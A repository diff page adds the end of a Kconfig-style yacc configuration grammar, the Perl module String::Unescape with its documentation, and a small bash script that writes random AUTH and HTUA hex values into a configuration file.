| stmt_list error T_EOL { zconf_error("invalid statement"); }
|
||||
;
|
||||
|
||||
option_name:
|
||||
T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE
|
||||
;
|
||||
|
||||
common_stmt:
|
||||
T_EOL
|
||||
| if_stmt
|
||||
| comment_stmt
|
||||
| config_stmt
|
||||
| menuconfig_stmt
|
||||
| source_stmt
|
||||
;
|
||||
|
||||
option_error:
|
||||
T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); }
|
||||
| error T_EOL { zconf_error("invalid option"); }
|
||||
;
|
||||
|
||||
|
||||
/* config/menuconfig entry */
|
||||
|
||||
config_entry_start: T_CONFIG T_WORD T_EOL
|
||||
{
|
||||
struct symbol *sym = sym_lookup($2, 0);
|
||||
sym->flags |= SYMBOL_OPTIONAL;
|
||||
menu_add_entry(sym);
|
||||
printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2);
|
||||
};
|
||||
|
||||
config_stmt: config_entry_start config_option_list
|
||||
{
|
||||
menu_end_entry();
|
||||
printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL
|
||||
{
|
||||
struct symbol *sym = sym_lookup($2, 0);
|
||||
sym->flags |= SYMBOL_OPTIONAL;
|
||||
menu_add_entry(sym);
|
||||
printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2);
|
||||
};
|
||||
|
||||
menuconfig_stmt: menuconfig_entry_start config_option_list
|
||||
{
|
||||
if (current_entry->prompt)
|
||||
current_entry->prompt->type = P_MENU;
|
||||
else
|
||||
zconfprint("warning: menuconfig statement without prompt");
|
||||
menu_end_entry();
|
||||
printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
config_option_list:
|
||||
/* empty */
|
||||
| config_option_list config_option
|
||||
| config_option_list symbol_option
|
||||
| config_option_list depends
|
||||
| config_option_list help
|
||||
| config_option_list option_error
|
||||
| config_option_list T_EOL
|
||||
;
|
||||
|
||||
config_option: T_TYPE prompt_stmt_opt T_EOL
|
||||
{
|
||||
menu_set_type($1->stype);
|
||||
printd(DEBUG_PARSE, "%s:%d:type(%u)\n",
|
||||
zconf_curname(), zconf_lineno(),
|
||||
$1->stype);
|
||||
};
|
||||
|
||||
config_option: T_PROMPT prompt if_expr T_EOL
|
||||
{
|
||||
menu_add_prompt(P_PROMPT, $2, $3);
|
||||
printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
config_option: T_DEFAULT expr if_expr T_EOL
|
||||
{
|
||||
menu_add_expr(P_DEFAULT, $2, $3);
|
||||
if ($1->stype != S_UNKNOWN)
|
||||
menu_set_type($1->stype);
|
||||
printd(DEBUG_PARSE, "%s:%d:default(%u)\n",
|
||||
zconf_curname(), zconf_lineno(),
|
||||
$1->stype);
|
||||
};
|
||||
|
||||
config_option: T_SELECT T_WORD if_expr T_EOL
|
||||
{
|
||||
menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3);
|
||||
printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
config_option: T_RANGE symbol symbol if_expr T_EOL
|
||||
{
|
||||
menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4);
|
||||
printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
symbol_option: T_OPTION symbol_option_list T_EOL
|
||||
;
|
||||
|
||||
symbol_option_list:
|
||||
/* empty */
|
||||
| symbol_option_list T_WORD symbol_option_arg
|
||||
{
|
||||
const struct kconf_id *id = kconf_id_lookup($2, strlen($2));
|
||||
if (id && id->flags & TF_OPTION)
|
||||
menu_add_option(id->token, $3);
|
||||
else
|
||||
zconfprint("warning: ignoring unknown option %s", $2);
|
||||
free($2);
|
||||
};
|
||||
|
||||
symbol_option_arg:
|
||||
/* empty */ { $$ = NULL; }
|
||||
| T_EQUAL prompt { $$ = $2; }
|
||||
;
|
||||
|
||||
/* choice entry */
|
||||
|
||||
choice: T_CHOICE word_opt T_EOL
|
||||
{
|
||||
struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE);
|
||||
sym->flags |= SYMBOL_AUTO;
|
||||
menu_add_entry(sym);
|
||||
menu_add_expr(P_CHOICE, NULL, NULL);
|
||||
printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
choice_entry: choice choice_option_list
|
||||
{
|
||||
$$ = menu_add_menu();
|
||||
};
|
||||
|
||||
choice_end: end
|
||||
{
|
||||
if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) {
|
||||
menu_end_menu();
|
||||
printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno());
|
||||
}
|
||||
};
|
||||
|
||||
choice_stmt: choice_entry choice_block choice_end
|
||||
;
|
||||
|
||||
choice_option_list:
|
||||
/* empty */
|
||||
| choice_option_list choice_option
|
||||
| choice_option_list depends
|
||||
| choice_option_list help
|
||||
| choice_option_list T_EOL
|
||||
| choice_option_list option_error
|
||||
;
|
||||
|
||||
choice_option: T_PROMPT prompt if_expr T_EOL
|
||||
{
|
||||
menu_add_prompt(P_PROMPT, $2, $3);
|
||||
printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
choice_option: T_TYPE prompt_stmt_opt T_EOL
|
||||
{
|
||||
if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) {
|
||||
menu_set_type($1->stype);
|
||||
printd(DEBUG_PARSE, "%s:%d:type(%u)\n",
|
||||
zconf_curname(), zconf_lineno(),
|
||||
$1->stype);
|
||||
} else
|
||||
YYERROR;
|
||||
};
|
||||
|
||||
choice_option: T_OPTIONAL T_EOL
|
||||
{
|
||||
current_entry->sym->flags |= SYMBOL_OPTIONAL;
|
||||
printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
choice_option: T_DEFAULT T_WORD if_expr T_EOL
|
||||
{
|
||||
if ($1->stype == S_UNKNOWN) {
|
||||
menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3);
|
||||
printd(DEBUG_PARSE, "%s:%d:default\n",
|
||||
zconf_curname(), zconf_lineno());
|
||||
} else
|
||||
YYERROR;
|
||||
};
|
||||
|
||||
choice_block:
|
||||
/* empty */
|
||||
| choice_block common_stmt
|
||||
;
|
||||
|
||||
/* if entry */
|
||||
|
||||
if_entry: T_IF expr nl
|
||||
{
|
||||
printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno());
|
||||
menu_add_entry(NULL);
|
||||
menu_add_dep($2);
|
||||
$$ = menu_add_menu();
|
||||
};
|
||||
|
||||
if_end: end
|
||||
{
|
||||
if (zconf_endtoken($1, T_IF, T_ENDIF)) {
|
||||
menu_end_menu();
|
||||
printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno());
|
||||
}
|
||||
};
|
||||
|
||||
if_stmt: if_entry if_block if_end
|
||||
;
|
||||
|
||||
if_block:
|
||||
/* empty */
|
||||
| if_block common_stmt
|
||||
| if_block menu_stmt
|
||||
| if_block choice_stmt
|
||||
;
|
||||
|
||||
/* mainmenu entry */
|
||||
|
||||
mainmenu_stmt: T_MAINMENU prompt nl
|
||||
{
|
||||
menu_add_prompt(P_MENU, $2, NULL);
|
||||
};
|
||||
|
||||
/* menu entry */
|
||||
|
||||
menu: T_MENU prompt T_EOL
|
||||
{
|
||||
menu_add_entry(NULL);
|
||||
menu_add_prompt(P_MENU, $2, NULL);
|
||||
printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
menu_entry: menu visibility_list depends_list
|
||||
{
|
||||
$$ = menu_add_menu();
|
||||
};
|
||||
|
||||
menu_end: end
|
||||
{
|
||||
if (zconf_endtoken($1, T_MENU, T_ENDMENU)) {
|
||||
menu_end_menu();
|
||||
printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno());
|
||||
}
|
||||
};
|
||||
|
||||
menu_stmt: menu_entry menu_block menu_end
|
||||
;
|
||||
|
||||
menu_block:
|
||||
/* empty */
|
||||
| menu_block common_stmt
|
||||
| menu_block menu_stmt
|
||||
| menu_block choice_stmt
|
||||
;
|
||||
|
||||
source_stmt: T_SOURCE prompt T_EOL
|
||||
{
|
||||
printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2);
|
||||
zconf_nextfile($2);
|
||||
};
|
||||
|
||||
/* comment entry */
|
||||
|
||||
comment: T_COMMENT prompt T_EOL
|
||||
{
|
||||
menu_add_entry(NULL);
|
||||
menu_add_prompt(P_COMMENT, $2, NULL);
|
||||
printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
comment_stmt: comment depends_list
|
||||
{
|
||||
menu_end_entry();
|
||||
};
|
||||
|
||||
/* help option */
|
||||
|
||||
help_start: T_HELP T_EOL
|
||||
{
|
||||
printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno());
|
||||
zconf_starthelp();
|
||||
};
|
||||
|
||||
help: help_start T_HELPTEXT
|
||||
{
|
||||
current_entry->help = $2;
|
||||
};
|
||||
|
||||
/* depends option */
|
||||
|
||||
depends_list:
|
||||
/* empty */
|
||||
| depends_list depends
|
||||
| depends_list T_EOL
|
||||
| depends_list option_error
|
||||
;
|
||||
|
||||
depends: T_DEPENDS T_ON expr T_EOL
|
||||
{
|
||||
menu_add_dep($3);
|
||||
printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno());
|
||||
};
|
||||
|
||||
/* visibility option */
|
||||
|
||||
visibility_list:
|
||||
/* empty */
|
||||
| visibility_list visible
|
||||
| visibility_list T_EOL
|
||||
;
|
||||
|
||||
visible: T_VISIBLE if_expr
|
||||
{
|
||||
menu_add_visibility($2);
|
||||
};
|
||||
|
||||
/* prompt statement */
|
||||
|
||||
prompt_stmt_opt:
|
||||
/* empty */
|
||||
| prompt if_expr
|
||||
{
|
||||
menu_add_prompt(P_PROMPT, $1, $2);
|
||||
};
|
||||
|
||||
prompt: T_WORD
|
||||
| T_WORD_QUOTE
|
||||
;
|
||||
|
||||
end: T_ENDMENU T_EOL { $$ = $1; }
|
||||
| T_ENDCHOICE T_EOL { $$ = $1; }
|
||||
| T_ENDIF T_EOL { $$ = $1; }
|
||||
;
|
||||
|
||||
nl:
|
||||
T_EOL
|
||||
| nl T_EOL
|
||||
;
|
||||
|
||||
if_expr: /* empty */ { $$ = NULL; }
|
||||
| T_IF expr { $$ = $2; }
|
||||
;
|
||||
|
||||
expr: symbol { $$ = expr_alloc_symbol($1); }
|
||||
| symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); }
|
||||
| symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); }
|
||||
| T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; }
|
||||
| T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); }
|
||||
| expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); }
|
||||
| expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); }
|
||||
;
|
||||
|
||||
symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); }
|
||||
| T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); }
|
||||
;
|
||||
|
||||
word_opt: /* empty */ { $$ = NULL; }
|
||||
| T_WORD
|
||||
|
||||
%%
|
||||
|
||||
void conf_parse(const char *name)
|
||||
{
|
||||
struct symbol *sym;
|
||||
int i;
|
||||
|
||||
zconf_initscan(name);
|
||||
|
||||
sym_init();
|
||||
_menu_init();
|
||||
rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL);
|
||||
|
||||
if (getenv("ZCONF_DEBUG"))
|
||||
zconfdebug = 1;
|
||||
zconfparse();
|
||||
if (zconfnerrs)
|
||||
exit(1);
|
||||
if (!modules_sym)
|
||||
modules_sym = sym_find( "n" );
|
||||
|
||||
rootmenu.prompt->text = _(rootmenu.prompt->text);
|
||||
rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text);
|
||||
|
||||
menu_finalize(&rootmenu);
|
||||
for_all_symbols(i, sym) {
|
||||
if (sym_check_deps(sym))
|
||||
zconfnerrs++;
|
||||
}
|
||||
if (zconfnerrs)
|
||||
exit(1);
|
||||
sym_set_change_count(1);
|
||||
}
|
||||
|
||||
static const char *zconf_tokenname(int token)
|
||||
{
|
||||
switch (token) {
|
||||
case T_MENU: return "menu";
|
||||
case T_ENDMENU: return "endmenu";
|
||||
case T_CHOICE: return "choice";
|
||||
case T_ENDCHOICE: return "endchoice";
|
||||
case T_IF: return "if";
|
||||
case T_ENDIF: return "endif";
|
||||
case T_DEPENDS: return "depends";
|
||||
case T_VISIBLE: return "visible";
|
||||
}
|
||||
return "<token>";
|
||||
}
|
||||
|
||||
static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken)
|
||||
{
|
||||
if (id->token != endtoken) {
|
||||
zconf_error("unexpected '%s' within %s block",
|
||||
kconf_id_strings + id->name, zconf_tokenname(starttoken));
|
||||
zconfnerrs++;
|
||||
return false;
|
||||
}
|
||||
if (current_menu->file != current_file) {
|
||||
zconf_error("'%s' in different file than '%s'",
|
||||
kconf_id_strings + id->name, zconf_tokenname(starttoken));
|
||||
fprintf(stderr, "%s:%d: location of the '%s'\n",
|
||||
current_menu->file->name, current_menu->lineno,
|
||||
zconf_tokenname(starttoken));
|
||||
zconfnerrs++;
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void zconfprint(const char *err, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno());
|
||||
va_start(ap, err);
|
||||
vfprintf(stderr, err, ap);
|
||||
va_end(ap);
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
static void zconf_error(const char *err, ...)
|
||||
{
|
||||
va_list ap;
|
||||
|
||||
zconfnerrs++;
|
||||
fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno());
|
||||
va_start(ap, err);
|
||||
vfprintf(stderr, err, ap);
|
||||
va_end(ap);
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
static void zconferror(const char *err)
|
||||
{
|
||||
fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err);
|
||||
}
|
||||
|
||||
static void print_quoted_string(FILE *out, const char *str)
|
||||
{
|
||||
const char *p;
|
||||
int len;
|
||||
|
||||
putc('"', out);
|
||||
while ((p = strchr(str, '"'))) {
|
||||
len = p - str;
|
||||
if (len)
|
||||
fprintf(out, "%.*s", len, str);
|
||||
fputs("\\\"", out);
|
||||
str = p + 1;
|
||||
}
|
||||
fputs(str, out);
|
||||
putc('"', out);
|
||||
}
|
||||
|
||||
static void print_symbol(FILE *out, struct menu *menu)
|
||||
{
|
||||
struct symbol *sym = menu->sym;
|
||||
struct property *prop;
|
||||
|
||||
if (sym_is_choice(sym))
|
||||
fprintf(out, "\nchoice\n");
|
||||
else
|
||||
fprintf(out, "\nconfig %s\n", sym->name);
|
||||
switch (sym->type) {
|
||||
case S_BOOLEAN:
|
||||
fputs(" boolean\n", out);
|
||||
break;
|
||||
case S_TRISTATE:
|
||||
fputs(" tristate\n", out);
|
||||
break;
|
||||
case S_STRING:
|
||||
fputs(" string\n", out);
|
||||
break;
|
||||
case S_INT:
|
||||
fputs(" integer\n", out);
|
||||
break;
|
||||
case S_HEX:
|
||||
fputs(" hex\n", out);
|
||||
break;
|
||||
default:
|
||||
fputs(" ???\n", out);
|
||||
break;
|
||||
}
|
||||
for (prop = sym->prop; prop; prop = prop->next) {
|
||||
if (prop->menu != menu)
|
||||
continue;
|
||||
switch (prop->type) {
|
||||
case P_PROMPT:
|
||||
fputs(" prompt ", out);
|
||||
print_quoted_string(out, prop->text);
|
||||
if (!expr_is_yes(prop->visible.expr)) {
|
||||
fputs(" if ", out);
|
||||
expr_fprint(prop->visible.expr, out);
|
||||
}
|
||||
fputc('\n', out);
|
||||
break;
|
||||
case P_DEFAULT:
|
||||
fputs( " default ", out);
|
||||
expr_fprint(prop->expr, out);
|
||||
if (!expr_is_yes(prop->visible.expr)) {
|
||||
fputs(" if ", out);
|
||||
expr_fprint(prop->visible.expr, out);
|
||||
}
|
||||
fputc('\n', out);
|
||||
break;
|
||||
case P_CHOICE:
|
||||
fputs(" #choice value\n", out);
|
||||
break;
|
||||
case P_SELECT:
|
||||
fputs( " select ", out);
|
||||
expr_fprint(prop->expr, out);
|
||||
fputc('\n', out);
|
||||
break;
|
||||
case P_RANGE:
|
||||
fputs( " range ", out);
|
||||
expr_fprint(prop->expr, out);
|
||||
fputc('\n', out);
|
||||
break;
|
||||
case P_MENU:
|
||||
fputs( " menu ", out);
|
||||
print_quoted_string(out, prop->text);
|
||||
fputc('\n', out);
|
||||
break;
|
||||
default:
|
||||
fprintf(out, " unknown prop %d!\n", prop->type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (menu->help) {
|
||||
int len = strlen(menu->help);
|
||||
while (menu->help[--len] == '\n')
|
||||
menu->help[len] = 0;
|
||||
fprintf(out, " help\n%s\n", menu->help);
|
||||
}
|
||||
}
|
||||
|
||||
void zconfdump(FILE *out)
|
||||
{
|
||||
struct property *prop;
|
||||
struct symbol *sym;
|
||||
struct menu *menu;
|
||||
|
||||
menu = rootmenu.list;
|
||||
while (menu) {
|
||||
if ((sym = menu->sym))
|
||||
print_symbol(out, menu);
|
||||
else if ((prop = menu->prompt)) {
|
||||
switch (prop->type) {
|
||||
case P_COMMENT:
|
||||
fputs("\ncomment ", out);
|
||||
print_quoted_string(out, prop->text);
|
||||
fputs("\n", out);
|
||||
break;
|
||||
case P_MENU:
|
||||
fputs("\nmenu ", out);
|
||||
print_quoted_string(out, prop->text);
|
||||
fputs("\n", out);
|
||||
break;
|
||||
default:
|
||||
;
|
||||
}
|
||||
if (!expr_is_yes(prop->visible.expr)) {
|
||||
fputs(" depends ", out);
|
||||
expr_fprint(prop->visible.expr, out);
|
||||
fputc('\n', out);
|
||||
}
|
||||
}
|
||||
|
||||
if (menu->list)
|
||||
menu = menu->list;
|
||||
else if (menu->next)
|
||||
menu = menu->next;
|
||||
else while ((menu = menu->parent)) {
|
||||
if (menu->prompt && menu->prompt->type == P_MENU)
|
||||
fputs("\nendmenu\n", out);
|
||||
if (menu->next) {
|
||||
menu = menu->next;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#include "zconf.lex.c"
|
||||
#include "util.c"
|
||||
#include "confdata.c"
|
||||
#include "expr.c"
|
||||
#include "symbol.c"
|
||||
#include "menu.c"
|
@ -0,0 +1,228 @@
|
||||
package String::Unescape;
|
||||
|
||||
use 5.008;
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
# ABSTRACT: Unescape perl-escaped string
|
||||
our $VERSION = 'v0.0.3'; # VERSION
|
||||
|
||||
require Exporter;
|
||||
our (@EXPORT_OK) = qw(unescape);
|
||||
|
||||
use Carp;
|
||||
|
||||
my %map = (
|
||||
t => "\t",
|
||||
n => "\n",
|
||||
r => "\r",
|
||||
f => "\f",
|
||||
b => "\b",
|
||||
a => "\a",
|
||||
e => "\e",
|
||||
);
|
||||
|
||||
my %mapc = map { chr($_) => chr($_ ^ 0x60) } 97..122;
|
||||
|
||||
my %convs = (
|
||||
l => sub { lcfirst shift },
|
||||
u => sub { ucfirst shift },
|
||||
);
|
||||
|
||||
my %convp = (
|
||||
L => sub { lc shift },
|
||||
U => sub { uc shift },
|
||||
Q => sub { quotemeta shift },
|
||||
);
|
||||
|
||||
if($^V ge v5.16.0) {
|
||||
# All constant stringy eval so this should be safe.
|
||||
eval q{use feature qw(fc); $convp{F} = sub { fc(shift) };}; ## no critic (ProhibitStringyEval)
|
||||
} else {
|
||||
$convp{F} = sub { 'F'.shift }; # \E omitted
|
||||
}
|
||||
|
||||
my $from_code = sub { chr(hex(shift)); };
|
||||
my $from_name;
|
||||
|
||||
if($^V ge v5.14.0) {
|
||||
$from_name = sub {
|
||||
my $name = shift;
|
||||
return charnames::string_vianame($name) || die "Unknown charname $name";
|
||||
};
|
||||
} else {
|
||||
$from_name = sub {
|
||||
my $name = shift;
|
||||
my $code = charnames::vianame($name);
|
||||
die "Unknown charname $name" if ! defined $code;
|
||||
return chr($code);
|
||||
};
|
||||
}
|
||||
|
||||
my $re_single = qr/
|
||||
\\([tnrfbae]) | # $1 : one char
|
||||
\\c(.) | # $2 : control
|
||||
\\x\{([0-9a-fA-F]*)[^}]*\} | # $3 : \x{}
|
||||
\\x([0-9a-fA-F]{0,2}) | # $4 : \x
|
||||
\\([0-7]{1,3}) | # $5 : \077
|
||||
\\o\{([0-7]*)([^}]*)\} | # $6, $7 : \o{}
|
||||
\\N\{U\+([^}]*)\} | # $8 : \N{U+}
|
||||
\\N\{([^}]*)\} | # $9 : \N{name}
|
||||
|
||||
\\(l|u)(.?) | # $10, $11 : \l, \u
|
||||
\\E | #
|
||||
\\?(.) # $12
|
||||
/xs;
|
||||
|
||||
my $convert_single = sub {
|
||||
require charnames if defined $8 || defined $9;
|
||||
|
||||
return $map{$1} if defined $1;
|
||||
return exists $mapc{$2} ? $mapc{$2} : chr(ord($2) ^ 0x40) if defined $2;
|
||||
return chr(hex($3)) if defined $3;
|
||||
return chr(hex($4)) if defined $4;
|
||||
return chr(oct($5)) if defined $5;
|
||||
return chr(oct($6)) if defined $6 && $^V ge v5.14.0;
|
||||
return 'o{'.$6.$7.'}' if defined $6;
|
||||
# TODO: Need to check invalid cases
|
||||
return $from_code->($8) if defined $8;
|
||||
return $from_name->($9) if defined $9;
|
||||
return $convs{$10}($11) if defined $10;
|
||||
return $12 if defined $12;
|
||||
return ''; # \E
|
||||
};
|
||||
|
||||
my $apply_single = sub {
|
||||
my $target = shift;
|
||||
while($target =~ s/\G$re_single/$convert_single->()/gxse) {
|
||||
last unless defined pos($target);
|
||||
}
|
||||
return $target;
|
||||
};
|
||||
|
||||
# NOTE: I'm not sure the reason, but my $_re_recur; causes a error.
|
||||
our $_re_recur;
|
||||
$_re_recur = qr/
|
||||
\\([LUQF])
|
||||
(?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*
|
||||
(?:\\E|\Z)
|
||||
/xs;
|
||||
|
||||
my $re_range = qr/
|
||||
((?:[^\\]|\\[^LUQF])*) # $1: pre
|
||||
(?:
|
||||
\\([LUQF]) # $2: marker
|
||||
((?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*) # $3: content
|
||||
(?:\\E|\Z)
|
||||
)*
|
||||
/xs;
|
||||
|
||||
my $apply_range;
|
||||
|
||||
my $convert_range = sub {
|
||||
my ($pre, $marker, $content) = @_;
|
||||
return
|
||||
(defined $pre ? $apply_single->($pre) : '').
|
||||
(defined $marker ? $convp{$marker}($apply_range->($content)) : '');
|
||||
};
|
||||
|
||||
$apply_range = sub {
|
||||
my $target = shift;
|
||||
while($target =~ s/\G$re_range/$convert_range->($1, $2, $3)/gxse) {
|
||||
last unless defined pos($target);
|
||||
}
|
||||
return $target;
|
||||
};
|
||||
|
||||
sub unescape
|
||||
{
|
||||
shift if @_ && eval { $_[0]->isa(__PACKAGE__); };
|
||||
croak 'No string is given' unless @_;
|
||||
croak 'More than one argument are given' unless @_ == 1;
|
||||
|
||||
return $apply_range->($_[0]);
|
||||
}
|
||||
|
||||
1;
|
||||
|
||||
__END__
|
||||
|
||||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
String::Unescape - Unescape perl-escaped string
|
||||
|
||||
=head1 VERSION
|
||||
|
||||
version v0.0.3
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
# Call as class method
|
||||
print String::Unescape->unescape('\t\c@\x41\n');
|
||||
|
||||
# Call as function
|
||||
use String::Escape qw(unescape);
|
||||
print unescape('\t\c@\x41\n');
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
This module provides just one function, Perl's unescaping without variable interpolation. Sometimes, I want to provide a string including a character difficult to represent without escaping, outside from Perl. Also, sometimes, I can not rely on shell expansion.
|
||||
|
||||
# App-count
|
||||
count -t '\t'
|
||||
|
||||
C<eval> can handle this situation but it has too more power than required. This is the purpose for this module.
|
||||
|
||||
This module is intented to be compatible with Perl's native unescaping as much as possible, with the following limitation.
|
||||
If the result is different from one by Perl beyond the limitation, it is considered as a bug. Please report it.
|
||||
|
||||
=head2 LIMITATION
|
||||
|
||||
There are the following exceptions that Perl's behavior is not emulated.
|
||||
|
||||
=over 4
|
||||
|
||||
=item 1
|
||||
|
||||
Whether warning is produced or not.
|
||||
|
||||
=item 2
|
||||
|
||||
Strings that perl doesn't accept. For those strings, the results by this module are undefined.
|
||||
|
||||
=item 3
|
||||
|
||||
\L in \U and \U in \L. By perl, they are not stacked, which means all \Q, \L, \U and \F (if available) modifiers from the prior \L, \U or \F become to have no effect then restart the new \L, \U or \F conversion. By this module, stacked.
|
||||
|
||||
=item 4
|
||||
|
||||
\L\u and \U\l. By Perl, they are swapped as \u\L and \l\U, respectively. By this module, not swapped.
|
||||
|
||||
=back
|
||||
|
||||
For 3 and 4, t/quirks_in_perl.t contains actual examples.
|
||||
|
||||
=head1 METHODS
|
||||
|
||||
=head2 C<unescape($str)>
|
||||
|
||||
Returns unescaped C<$str>. For escaping, see L<perlop/Quote-and-Quote-like-Operators>.
|
||||
|
||||
=head1 REMARKS
|
||||
|
||||
L<charnames> in Perl 5.6 does not have required functionality that is Unicode name E<lt>-E<gt> code conversion in runtime, thus Perl 5.6 support is explicitly dropped.
|
||||
|
||||
=head1 AUTHOR
|
||||
|
||||
Yasutaka ATARASHI <yakex@cpan.org>
|
||||
|
||||
=head1 COPYRIGHT AND LICENSE
|
||||
|
||||
This software is copyright (c) 2013 by Yasutaka ATARASHI.
|
||||
|
||||
This is free software; you can redistribute it and/or modify it under
|
||||
the same terms as the Perl 5 programming language system itself.
|
||||
|
||||
=cut
|
@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
|
||||
function random_gen_hex {
|
||||
RETVAL=$(cat /dev/urandom | head -c $1 | hexdump '-e"%x"')
|
||||
}
|
||||
|
||||
# Will be used one day
|
||||
function random_gen_dec {
|
||||
RETVAL=$(shuf -i 1-65535 -n 1)
|
||||
}
|
||||
|
||||
random_gen_hex 4
|
||||
AUTH=0x$RETVAL
|
||||
random_gen_hex 4
|
||||
HTUA=0x$RETVAL
|
||||
|
||||
cat >> $1 <<EOF
|
||||
|
||||
#
|
||||
# Other configurtion
|
||||
#
|
||||
AUTH=$AUTH
|
||||
HTUA=$HTUA
|
||||
EOF
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in new issue